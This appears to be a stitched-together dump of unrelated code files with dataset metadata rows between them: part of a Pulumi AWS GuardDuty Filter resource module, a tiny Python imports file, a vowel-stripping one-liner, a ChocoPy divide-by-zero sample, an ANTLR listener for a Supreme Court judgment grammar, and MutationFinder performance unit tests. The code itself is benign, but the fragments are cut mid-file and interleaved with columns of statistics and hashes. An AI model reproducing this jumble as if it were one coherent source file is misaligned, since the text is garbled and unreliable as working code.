greater_than_or_equal="4",
),
],
))
```
## Import
GuardDuty filters can be imported using the detector ID and filter's name separated by a colon, e.g.
```sh
$ pulumi import aws:guardduty/filter:Filter MyFilter 00b00fd5aecc0ab60a708659477e9617:MyFilter
```
:param str resource_name: The name of the resource.
:param FilterArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(FilterArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
action: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
detector_id: Optional[pulumi.Input[str]] = None,
finding_criteria: Optional[pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']]] = None,
name: Optional[pulumi.Input[str]] = None,
rank: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = FilterArgs.__new__(FilterArgs)
if action is None and not opts.urn:
raise TypeError("Missing required property 'action'")
__props__.__dict__["action"] = action
__props__.__dict__["description"] = description
if detector_id is None and not opts.urn:
raise TypeError("Missing required property 'detector_id'")
__props__.__dict__["detector_id"] = detector_id
if finding_criteria is None and not opts.urn:
raise TypeError("Missing required property 'finding_criteria'")
__props__.__dict__["finding_criteria"] = finding_criteria
__props__.__dict__["name"] = name
if rank is None and not opts.urn:
raise TypeError("Missing required property 'rank'")
__props__.__dict__["rank"] = rank
__props__.__dict__["tags"] = tags
__props__.__dict__["arn"] = None
__props__.__dict__["tags_all"] = None
super(Filter, __self__).__init__(
'aws:guardduty/filter:Filter',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
action: Optional[pulumi.Input[str]] = None,
arn: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
detector_id: Optional[pulumi.Input[str]] = None,
finding_criteria: Optional[pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']]] = None,
name: Optional[pulumi.Input[str]] = None,
rank: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
tags_all: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None) -> 'Filter':
"""
Get an existing Filter resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] action: Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`.
:param pulumi.Input[str] arn: The ARN of the GuardDuty filter.
:param pulumi.Input[str] description: Description of the filter.
:param pulumi.Input[str] detector_id: ID of a GuardDuty detector, attached to your account.
:param pulumi.Input[pulumi.InputType['FilterFindingCriteriaArgs']] finding_criteria: Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below.
:param pulumi.Input[str] name: The name of your filter.
:param pulumi.Input[int] rank: Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags_all: A map of tags assigned to the resource, including those inherited from the provider .
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _FilterState.__new__(_FilterState)
__props__.__dict__["action"] = action
__props__.__dict__["arn"] = arn
__props__.__dict__["description"] = description
__props__.__dict__["detector_id"] = detector_id
__props__.__dict__["finding_criteria"] = finding_criteria
__props__.__dict__["name"] = name
__props__.__dict__["rank"] = rank
__props__.__dict__["tags"] = tags
__props__.__dict__["tags_all"] = tags_all
return Filter(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def action(self) -> pulumi.Output[str]:
"""
Specifies the action that is to be applied to the findings that match the filter. Can be one of `ARCHIVE` or `NOOP`.
"""
return pulumi.get(self, "action")
@property
@pulumi.getter
def arn(self) -> pulumi.Output[str]:
"""
The ARN of the GuardDuty filter.
"""
return pulumi.get(self, "arn")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
Description of the filter.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="detectorId")
def detector_id(self) -> pulumi.Output[str]:
"""
ID of a GuardDuty detector, attached to your account.
"""
return pulumi.get(self, "detector_id")
@property
@pulumi.getter(name="findingCriteria")
def finding_criteria(self) -> pulumi.Output['outputs.FilterFindingCriteria']:
"""
Represents the criteria to be used in the filter for querying findings. Contains one or more `criterion` blocks, documented below.
"""
return pulumi.get(self, "finding_criteria")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of your filter.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def rank(self) -> pulumi.Output[int]:
"""
Specifies the position of the filter in the list of current filters. Also specifies the order in which this filter is applied to the findings.
"""
return pulumi.get(self, "rank")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
The tags that you want to add to the Filter resource. A tag consists of a key and a value. .If configured with a provider `default_tags` configuration block present, tags with matching keys will overwrite those defined at the provider-level.
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter(name="tagsAll")
def tags_all(self) -> pulumi.Output[Mapping[str, str]]:
"""
A map of tags assigned to the resource, including those inherited from the provider .
"""
return pulumi.get(self, "tags_all")
| 44.908621
| 308
| 0.626828
| 3,055
| 26,047
| 5.191817
| 0.076596
| 0.087384
| 0.069731
| 0.04716
| 0.879453
| 0.861421
| 0.831284
| 0.80657
| 0.798563
| 0.786583
| 0
| 0.00555
| 0.273698
| 26,047
| 579
| 309
| 44.986183
| 0.832858
| 0.411794
| 0
| 0.66
| 1
| 0
| 0.092616
| 0.020524
| 0
| 0
| 0
| 0
| 0
| 1
| 0.16
| false
| 0.003333
| 0.023333
| 0
| 0.28
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f4269f019fb72dc648684d990994321a4767ce06
| 325
|
py
|
Python
|
titan/api_pkg/__init__.py
|
mnieber/gen
|
65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9
|
[
"MIT"
] | null | null | null |
titan/api_pkg/__init__.py
|
mnieber/gen
|
65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9
|
[
"MIT"
] | null | null | null |
titan/api_pkg/__init__.py
|
mnieber/gen
|
65f8aa4fb671c4f90d5cbcb1a0e10290647a31d9
|
[
"MIT"
] | null | null | null |
from . import (
extendspectypes,
formtype,
graphqlapi,
item,
itemlist,
itemtype,
mutation,
pipeline,
query,
typeregistry,
)
modules = [
extendspectypes,
formtype,
graphqlapi,
item,
itemlist,
itemtype,
mutation,
pipeline,
typeregistry,
query,
]
| 12.5
| 20
| 0.581538
| 23
| 325
| 8.217391
| 0.565217
| 0.243386
| 0.349206
| 0.391534
| 0.730159
| 0.730159
| 0.730159
| 0.730159
| 0
| 0
| 0
| 0
| 0.338462
| 325
| 25
| 21
| 13
| 0.87907
| 0
| 0
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.041667
| 0
| 0.041667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f42e08727ecc3b42db9b3fa97b8b6fa7538c5a46
| 239
|
py
|
Python
|
September 2020/04-Comprehension/02-No-Vowels.py
|
eclipse-ib/Software-University-Professional-Advanced-Module
|
636385f9e5521840f680644824d725d074b93c9a
|
[
"MIT"
] | null | null | null |
September 2020/04-Comprehension/02-No-Vowels.py
|
eclipse-ib/Software-University-Professional-Advanced-Module
|
636385f9e5521840f680644824d725d074b93c9a
|
[
"MIT"
] | null | null | null |
September 2020/04-Comprehension/02-No-Vowels.py
|
eclipse-ib/Software-University-Professional-Advanced-Module
|
636385f9e5521840f680644824d725d074b93c9a
|
[
"MIT"
] | null | null | null |
# string = [char for char in input() if char not in ['a', 'o', 'u', 'e', 'i', 'A', 'O', 'U', 'E', 'I']]
# print(''.join(string))
print(''.join([char for char in input() if char not in ['a', 'o', 'u', 'e', 'i', 'A', 'O', 'U', 'E', 'I']]))
| 47.8
| 108
| 0.451883
| 44
| 239
| 2.454545
| 0.318182
| 0.074074
| 0.111111
| 0.148148
| 0.722222
| 0.722222
| 0.722222
| 0.722222
| 0.722222
| 0.722222
| 0
| 0
| 0.1841
| 239
| 5
| 108
| 47.8
| 0.553846
| 0.518828
| 0
| 0
| 0
| 0
| 0.088496
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
f4481c6c66e01bd68ba6d1c85cec8cee806386f1
| 15
|
py
|
Python
|
src/test/data/pa3/sample/error_div_zero.py
|
Leo-Enrique-Wu/chocopy_compiler_code_generation
|
4606be0531b3de77411572aae98f73169f46b3b9
|
[
"BSD-2-Clause"
] | 7
|
2021-08-28T18:20:45.000Z
|
2022-02-01T07:35:59.000Z
|
src/test/data/pa3/sample/error_div_zero.py
|
Leo-Enrique-Wu/chocopy_compiler_code_generation
|
4606be0531b3de77411572aae98f73169f46b3b9
|
[
"BSD-2-Clause"
] | 4
|
2020-05-18T01:06:15.000Z
|
2020-06-12T19:33:14.000Z
|
src/test/data/pa3/sample/error_div_zero.py
|
Leo-Enrique-Wu/chocopy_compiler_code_generation
|
4606be0531b3de77411572aae98f73169f46b3b9
|
[
"BSD-2-Clause"
] | 5
|
2019-11-27T05:11:05.000Z
|
2021-06-29T14:31:14.000Z
|
print(42 // 0)
| 7.5
| 14
| 0.533333
| 3
| 15
| 2.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.25
| 0.2
| 15
| 1
| 15
| 15
| 0.416667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
f4611785cc181dcf6912c13931a483f780ba9464
| 6,579
|
py
|
Python
|
grammars/gen/SupremeCourtListener.py
|
OpenLawsGR/judgments2AKN
|
0c6217349cde36058d5599800e289fdf0d3eaf23
|
[
"MIT"
] | 5
|
2019-11-28T17:02:59.000Z
|
2021-02-05T17:39:49.000Z
|
grammars/gen/SupremeCourtListener.py
|
OpenLawsGR/judgments2AKN
|
0c6217349cde36058d5599800e289fdf0d3eaf23
|
[
"MIT"
] | null | null | null |
grammars/gen/SupremeCourtListener.py
|
OpenLawsGR/judgments2AKN
|
0c6217349cde36058d5599800e289fdf0d3eaf23
|
[
"MIT"
] | null | null | null |
# Generated from /home/plessas/EDBM34/grammars/SupremeCourt.g4 by ANTLR 4.7.2
from antlr4 import *
# This class defines a complete listener for a parse tree produced by SupremeCourtParser.
class SupremeCourtListener(ParseTreeListener):
# Enter a parse tree produced by SupremeCourtParser#akomaNtoso.
def enterAkomaNtoso(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#akomaNtoso.
def exitAkomaNtoso(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#text.
def enterText(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#text.
def exitText(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#judgment.
def enterJudgment(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#judgment.
def exitJudgment(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#header.
def enterHeader(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#header.
def exitHeader(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#caseNmuber.
def enterCaseNmuber(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#caseNmuber.
def exitCaseNmuber(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#docProponent.
def enterDocProponent(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#docProponent.
def exitDocProponent(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#headerPar.
def enterHeaderPar(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#headerPar.
def exitHeaderPar(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#headerLastPar.
def enterHeaderLastPar(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#headerLastPar.
def exitHeaderLastPar(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#headerLastPar_alt.
def enterHeaderLastPar_alt(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#headerLastPar_alt.
def exitHeaderLastPar_alt(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#docNumber.
def enterDocNumber(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#docNumber.
def exitDocNumber(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#judgmentBody.
def enterJudgmentBody(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#judgmentBody.
def exitJudgmentBody(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#introduction.
def enterIntroduction(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#introduction.
def exitIntroduction(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#introductionIntro.
def enterIntroductionIntro(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#introductionIntro.
def exitIntroductionIntro(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#intro_Par.
def enterIntro_Par(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#intro_Par.
def exitIntro_Par(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#motivation.
def enterMotivation(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#motivation.
def exitMotivation(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#motivPar.
def enterMotivPar(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#motivPar.
def exitMotivPar(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#blockList.
def enterBlockList(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#blockList.
def exitBlockList(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#arPagos_item.
def enterArPagos_item(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#arPagos_item.
def exitArPagos_item(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#itemPar.
def enterItemPar(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#itemPar.
def exitItemPar(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#num.
def enterNum(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#num.
def exitNum(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#decision.
def enterDecision(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#decision.
def exitDecision(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#decisionIntro.
def enterDecisionIntro(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#decisionIntro.
def exitDecisionIntro(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#decisionPar.
def enterDecisionPar(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#decisionPar.
def exitDecisionPar(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#outcome.
def enterOutcome(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#outcome.
def exitOutcome(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#conclusions.
def enterConclusions(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#conclusions.
def exitConclusions(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#conclusionIntro.
def enterConclusionIntro(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#conclusionIntro.
def exitConclusionIntro(self, ctx):
pass
# Enter a parse tree produced by SupremeCourtParser#concPar.
def enterConcPar(self, ctx):
pass
# Exit a parse tree produced by SupremeCourtParser#concPar.
def exitConcPar(self, ctx):
pass
| 26.316
| 89
| 0.693722
| 746
| 6,579
| 6.101877
| 0.154156
| 0.072496
| 0.120826
| 0.217487
| 0.793058
| 0.793058
| 0.78471
| 0.783612
| 0.647847
| 0.634227
| 0
| 0.001412
| 0.246542
| 6,579
| 249
| 90
| 26.421687
| 0.916885
| 0.521052
| 0
| 0.490909
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.490909
| false
| 0.490909
| 0.009091
| 0
| 0.509091
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 9
|
f46e0ea2a9a506db19309a33ae006ab0144fe5c3
| 27,135
|
py
|
Python
|
resources/mutationfinder/origDist/test_performance.py
|
pjcoenen/SETH
|
721239046936c6fa4d4525cb7d7c5a3a43e64984
|
[
"Apache-2.0"
] | 25
|
2015-05-30T23:18:49.000Z
|
2022-03-10T08:02:59.000Z
|
resources/mutationfinder/origDist/test_performance.py
|
pjcoenen/SETH
|
721239046936c6fa4d4525cb7d7c5a3a43e64984
|
[
"Apache-2.0"
] | 27
|
2016-05-20T09:27:41.000Z
|
2022-03-31T08:10:53.000Z
|
resources/mutationfinder/origDist/test_performance.py
|
pjcoenen/SETH
|
721239046936c6fa4d4525cb7d7c5a3a43e64984
|
[
"Apache-2.0"
] | 9
|
2015-06-02T11:39:03.000Z
|
2021-11-11T12:27:56.000Z
|
#!/usr/bin/env python
# Author: Greg Caporaso (gregcaporaso@gmail.com)
# test_performance.py
""" Description
File created on 07 Feb 2007.
This file contains tests of the classes and functions in the
MutationFinder performance.py script.
Copyright (c) 2007 Regents of the University of Colorado
Please refer to licensing agreement at MUTATIONFINDER_HOME/doc/license.txt
"""
from unittest import TestCase, main
from performance import PerformanceCalculatorResult,PerformanceCalculator,\
PerformanceCalculatorError,parse_extraction_data
from mutation_finder import PointMutation
class PerformanceCalculatorResultTests(TestCase):
""" Tests of the PerformanceCalculatorResult object
Note: I like to use abbreviation of the class names to make
the makes more clear -- in this case that abbreviation is
PCR, which is a litle weird since that's a very common
acronym. Just to make it clear, this reference is to
PerformanceCalculatorResult, not Polymerase Chain Reaction.
"""
def setUp(self):
""" Initialize data for tests """
self._pcr = PerformanceCalculatorResult(42,1,0,5)
def test_init_all_ints(self):
"""PCR: init functions as expected with valid & complete input """
pcr = PerformanceCalculatorResult(42,1,0,5)
self.assertEqual(pcr.TruePositive,42)
self.assertEqual(pcr.FalsePositive,1)
self.assertEqual(pcr.FalseNegative,0)
self.assertEqual(pcr.TrueNegative,5)
self.assertAlmostEqual(pcr.Precision, 0.9767,3)
self.assertAlmostEqual(pcr.Recall,1.0,3)
self.assertAlmostEqual(pcr.FMeasure,0.9882,3)
def test_init_missing_TN(self):
"""PCR: init functions with missing or non-int TrueNeagtive """
# TN = n/a
pcr = PerformanceCalculatorResult(42,1,0,'n/a')
self.assertEqual(pcr.TruePositive,42)
self.assertEqual(pcr.FalsePositive,1)
self.assertEqual(pcr.FalseNegative,0)
self.assertEqual(pcr.TrueNegative,None)
self.assertAlmostEqual(pcr.Precision, 0.9767,3)
self.assertAlmostEqual(pcr.Recall,1.0,3)
self.assertAlmostEqual(pcr.FMeasure,0.9882,3)
# TN = None
pcr = PerformanceCalculatorResult(42,1,0,None)
pcr = PerformanceCalculatorResult(42,1,0)
def test_calculate_precision(self):
"""PCR: precision calculations function as expected """
# Max and min tests
pcr = PerformanceCalculatorResult(50,0,0,None)
self.assertAlmostEqual(pcr._calculate_precision(),1.000,3)
pcr = PerformanceCalculatorResult(0,50,0,None)
self.assertAlmostEqual(pcr._calculate_precision(),0.000,3)
# Intermediate tests
pcr = PerformanceCalculatorResult(42,1,0,None)
self.assertAlmostEqual(pcr._calculate_precision(),0.9767,3)
pcr = PerformanceCalculatorResult(1,42,0,None)
self.assertAlmostEqual(pcr._calculate_precision(),0.0232,3)
pcr = PerformanceCalculatorResult(42,42,0,None)
self.assertAlmostEqual(pcr._calculate_precision(),0.500,3)
pcr = PerformanceCalculatorResult(42,126,0,None)
self.assertAlmostEqual(pcr._calculate_precision(),0.250,3)
pcr = PerformanceCalculatorResult(126,42,0,None)
self.assertAlmostEqual(pcr._calculate_precision(),0.750,3)
# FN/TN has no effect
pcr = PerformanceCalculatorResult(126,42,20,None)
self.assertAlmostEqual(pcr._calculate_precision(),0.750,3)
pcr = PerformanceCalculatorResult(126,42,20,50)
self.assertAlmostEqual(pcr._calculate_precision(),0.750,3)
def test_calculate_recall(self):
"""PCR: recall calculations function as expected """
# Max and min tests
pcr = PerformanceCalculatorResult(50,0,0,None)
self.assertAlmostEqual(pcr._calculate_recall(),1.000,3)
pcr = PerformanceCalculatorResult(0,0,50,None)
self.assertAlmostEqual(pcr._calculate_recall(),0.000,3)
# Intermediate tests
pcr = PerformanceCalculatorResult(42,0,1,None)
self.assertAlmostEqual(pcr._calculate_recall(),0.9767,3)
pcr = PerformanceCalculatorResult(1,0,42,None)
self.assertAlmostEqual(pcr._calculate_recall(),0.0232,3)
pcr = PerformanceCalculatorResult(42,0,42,None)
self.assertAlmostEqual(pcr._calculate_recall(),0.500,3)
pcr = PerformanceCalculatorResult(42,0,126,None)
self.assertAlmostEqual(pcr._calculate_recall(),0.250,3)
pcr = PerformanceCalculatorResult(126,0,42,None)
self.assertAlmostEqual(pcr._calculate_recall(),0.750,3)
# FP/TN have no effect
pcr = PerformanceCalculatorResult(126,20,42,None)
self.assertAlmostEqual(pcr._calculate_recall(),0.750,3)
pcr = PerformanceCalculatorResult(126,20,42,50)
self.assertAlmostEqual(pcr._calculate_recall(),0.750,3)
def test_f_measure(self):
"""PCR: f-measure calculations function as expected """
# Max and min tests
pcr = PerformanceCalculatorResult(50,0,0,None)
self.assertAlmostEqual(pcr._calculate_f_measure(),1.000,3)
pcr = PerformanceCalculatorResult(0,50,0,None)
self.assertEqual(pcr._calculate_f_measure(),None)
pcr = PerformanceCalculatorResult(0,0,50,None)
self.assertEqual(pcr._calculate_f_measure(),None)
def test_calculation_divide_by_zeros(self):
"""PCR: P/R/F calculations correctly handle divide-by-zero errors"""
# Divide by zero handled correctly
pcr = PerformanceCalculatorResult(0,0,0,None)
self.assertEqual(pcr._calculate_precision(),None)
self.assertEqual(pcr._calculate_recall(),None)
self.assertEqual(pcr._calculate_f_measure(),None)
def test_pretty_precision_recall_fmeasure(self):
"""PCR: PRF formatting functions as expected """
expected = 'Precision\tRecall\tF-measure\n0.9767\t1.0000\t0.9882'
self.assertEqual(self._pcr.pretty_precision_recall_fmeasure(),expected)
def test_pretty_confusion_matrix(self):
"""PCR: Confusion matrix formatting functions as expected """
expected = 'tp\tfn\nfp\ttn\n--\n42\t0\n1\t5'
self.assertEqual(self._pcr.pretty_confusion_matrix(),expected)
def test_str(self):
"""PCR: str() functions as expected """
expected = '\n'.join([\
'tp\tfn\nfp\ttn\n--\n42\t0\n1\t5',\
'Precision\tRecall\tF-measure\n0.9767\t1.0000\t0.9882'])
self.assertEqual(str(self._pcr),expected)
class PerformanceCalculatorTests(TestCase):
""" Tests of the PerformanceCalculator class """
def setUp(self):
""" Set up variables for the tests"""
self._gold_standard_data = gold_standard_data
self._blank_mutation_data =\
{'3476160':{},'14500716':{},'12206666':{},'11327835':{}}
self._pc = PerformanceCalculator(self._gold_standard_data)
def test_init(self):
"""PC: init functions as expected """
# instantiate the class
pc = PerformanceCalculator(self._gold_standard_data)
# Check one of the values
self.assertEqual(\
pc._gold_standard['12206666'][PointMutation(95,'D','N')],2)
def test_extracted_mentions_blank_input(self):
"""PC: Extracted Mentions functions with no extracted mutations
"""
# Functions with no mutations
perf = self._pc.calculate_extracted_mentions(\
self._blank_mutation_data)
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,14)
self.assertEqual(perf.TrueNegative,None)
def test_extracted_mentions_blank_gs(self):
"""PC: Extracted Mentions functions with no gold standard mutations
"""
# Functions with an empty gold standard dict
pc = PerformanceCalculator(self._blank_mutation_data)
perf = pc.calculate_extracted_mentions(\
self._gold_standard_data)
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,14)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,None)
def test_extracted_mentions_perfect_input(self):
"""PC: Extracted Mentions functions with perfect extracted mutations
"""
# Functions with perfect input (i.e. equal to the gold standard)
perf = self._pc.calculate_extracted_mentions(\
self._gold_standard_data)
self.assertEqual(perf.TruePositive,14)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,0)
self.assertEqual(perf.TrueNegative,None)
def test_extracted_mentions_invalid_input(self):
"""PC: Extracted Mentions handles invalid input correctly
"""
# Handles gold-standard and extractor output which does
# not completely overlap correctly -- this is explictly
# not allowed because it is not clear how it should be
# handled
pc = PerformanceCalculator({'1':{},'2':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_extracted_mentions,{'1':{},'3':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_extracted_mentions,{'1':{}})
self.assertRaises(PerformanceCalculatorError,\
pc.calculate_extracted_mentions,{'1':{},'2':{},'3':{}})
def test_extracted_mentions_varied_input(self):
"""PC: Extracted Mentions functions with varied extracted mutations
"""
#
perf = self._pc.calculate_extracted_mentions(\
{'3476160':{PointMutation(22,'T','C'):1},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,13)
self.assertEqual(perf.TrueNegative,None)
# An extra count results in a false positive
perf = self._pc.calculate_extracted_mentions(\
{'3476160':{PointMutation(22,'T','C'):2},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,1)
self.assertEqual(perf.FalseNegative,13)
self.assertEqual(perf.TrueNegative,None)
# ...and two extra counts results in two false positives
perf = self._pc.calculate_extracted_mentions(\
{'3476160':{PointMutation(22,'T','C'):3},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,1)
self.assertEqual(perf.FalsePositive,2)
self.assertEqual(perf.FalseNegative,13)
self.assertEqual(perf.TrueNegative,None)
# One missing count results in one false negative (see 11327835)
# and one less true positive
perf = self._pc.calculate_extracted_mentions(\
{'3476160': {PointMutation(87,'S','C'): 1,\
PointMutation(22,'T','C'): 1},\
'14500716': {},\
'12206666': {PointMutation(95,'D','A'): 4,\
PointMutation(95,'D','N'): 2,\
PointMutation(95,'D','E'): 2},\
'11327835': {PointMutation(64,'H','A'): 3}})
self.assertEqual(perf.TruePositive,13)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,1)
self.assertEqual(perf.TrueNegative,None)
# Two missing counts results in two false negatives (see 11327835)
# and two less true positives
perf = self._pc.calculate_extracted_mentions(\
{'3476160': {PointMutation(87,'S','C'): 1,\
PointMutation(22,'T','C'): 1},\
'14500716': {},\
'12206666': {PointMutation(95,'D','A'): 4,\
PointMutation(95,'D','N'): 2,\
PointMutation(95,'D','E'): 2},\
'11327835': {PointMutation(64,'H','A'): 2}})
self.assertEqual(perf.TruePositive,12)
self.assertEqual(perf.FalsePositive,0)
self.assertEqual(perf.FalseNegative,2)
self.assertEqual(perf.TrueNegative,None)
# One extra mutation tallied as one FalsePositive
perf = self._pc.calculate_extracted_mentions(\
{'3476160':{PointMutation(42,'L','Y'):1},\
'14500716':{},'12206666':{},'11327835':{}})
self.assertEqual(perf.TruePositive,0)
self.assertEqual(perf.FalsePositive,1)
self.assertEqual(perf.FalseNegative,14)
self.assertEqual(perf.TrueNegative,None)
